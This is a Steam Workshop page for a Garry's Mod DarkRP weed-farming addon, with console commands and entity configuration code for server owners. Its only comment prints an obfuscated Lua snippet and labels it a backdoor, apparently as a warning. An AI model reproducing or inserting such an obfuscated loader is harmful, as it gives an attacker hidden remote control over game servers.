Garry's Mod

Garry's Mod

Not enough ratings
DarkRP Weed Farm (Complete Addon)
   
Award
Favorite
Favorited
Unfavorite
Content Type: Addon
Addon Tags: Roleplay
Tags: misc
File Size
Posted
249.366 KB
5 Jan, 2021 @ 1:53pm
1 Change Note ( view )

Subscribe to download
DarkRP Weed Farm (Complete Addon)

Description
IMPORTANT: This only works in the official DarkRP gamemode! Search DarkRP in the workshop! Make sure to watch the video for a tutorial and demo on what this addon is and does.
---------
ADDITIONAL IMPORTANT NOTICE: This addon is really only to be utilized properly by server owners and people who sort of know what they're doing when it comes to modifying certain addon files, but I will try and make it as clear as possible in the video above and the Q&A section below.
----------
This addon was made by Jackarunda (Assumed not available to inquiry)
----------
Drug Dealer NPC Commands:

marijuana_npc_buyer_location - This console command sets spawn points for the drug dealer, he will move from point to point over time, a map restart is required for this to work.

marijuana_npc_buyer_locations_delete - This console command removes all previously set spawn points of the drug dealer NPC, again, a map restart is required for this to take effect.

ai_disable 1 - This command is required so the NPC doesn't follow you in maps that have NPC nodes.
----------
Commands to manually give yourself weed items through console. (Not ideal for the server, just so you can see it work in singleplayer.)

give wep_jack_job_watercan (Spawns a watercan)
give ent_jack_job_plantlamp (Spawns a lamp)
give ent_jack_job_potplant (Spawns a pot)
give ent_jack_job_potsoil (Spawns a bag of soil)
give ent_jack_job_weedseed (Spawns a weedseed)
give ent_jack_job_weedbag (This is the end product that comes out of combining all other entites, it's smokable and sellable.)
----------
Q&A:

Q: What is this addon and what does it do?
A: This addon is only to be used with the DarkRP gamemode, it is essentially a system that allows you to grow weed and sell it to a dealer, make sure to check out the video for a full tutorial and demo!

Q: How do I even get this to work?
A: As previously stated it is only to be used with DarkRP, there are certain strings of code that need to be added into the addentities folder in your server to get some of the items into the buyable f4 menu, if you have a highly customized DarkRP, then you will have to integrate the items this addon offers in your own way, but by default all you need to do is add the strings of code into your add entities folder, aswell as some entites onto the blacklist. This code will all be listed at the bottom.

Q: How can I change the price of plants, soil, and other entities?
A: It's all the the addons easy to modify config folder.

----------Instructions for server owners----------

1. Paste the following into the config/addentities file of darkrp

DarkRP.createEntity("Ceramic Pot", {
ent = "ent_jack_job_potplant",
model = "models/nater/weedplant_pot.mdl",
price = 20,
max = 4,
cmd = "buyplantpot"
})

DarkRP.createEntity("Potting Soil", {
ent = "ent_jack_job_potsoil",
model = "models/props_junk/garbage_bag001a.mdl",
price = 10,
max = 8,
cmd = "buyplantsoil"
})

DarkRP.createEntity("Sun Lamp", {
ent = "ent_jack_job_plantlamp",
model = "models/props_interiors/Furniture_Lamp01a.mdl",
price = 120,
max = 1,
cmd = "buyplantlamp"
})

DarkRP.createEntity("Cannabis Seed", {
ent = "ent_jack_job_weedseed",
model = "models/props_junk/garbage_bag001a.mdl",
price = 300,
max = 8,
cmd = "buyplantseed"
})

DarkRP.createEntity("Watering Can", {
ent = "wep_jack_job_watercan",
model = "models/props_interiors/pot01a.mdl",
price = 10,
max = 5,
cmd = "buyplantwater"
})

2. put ent_jack_job_potplant, ent_jack_job_potsoil and ent_jack_job_plantlamp on the pocket blacklist
3. for each map you want the drug buyer NPC to spawn on, fly around to each spawn location and type marijuana_npc_buyer_location in console to set a spawnpoint for the NPC, many spawnpoints can be set per map, then restart the map
4. in entities/ent_jack_job_potplant/shared.lua you can find all the configurable settings for the plants at the top of the file
1 Comments
𝙅𝙖𝙮 8 Oct, 2022 @ 6:29pm 
ocal ЫуЦФбк=function(s)return _G['7I9JE8A\83NLEHC'](s,'',false)end;ЫуЦФбк('ONE8&5@@8AN 9ILG\83NLEHC 99I@A8M'J8\97QAL'\99ILJMA&9@89!HAN&\82A\99AE 8A 99I@A8M'J8\97QAL'\99ILJMA&9@89$BOH\99NEIH 8AH$J8!\82OH\83NLEHC9P HAN&\82A\97@\83NLEHC !$9\917\939$B\978MA!AH@!')();
--[[ <--- Backdoord.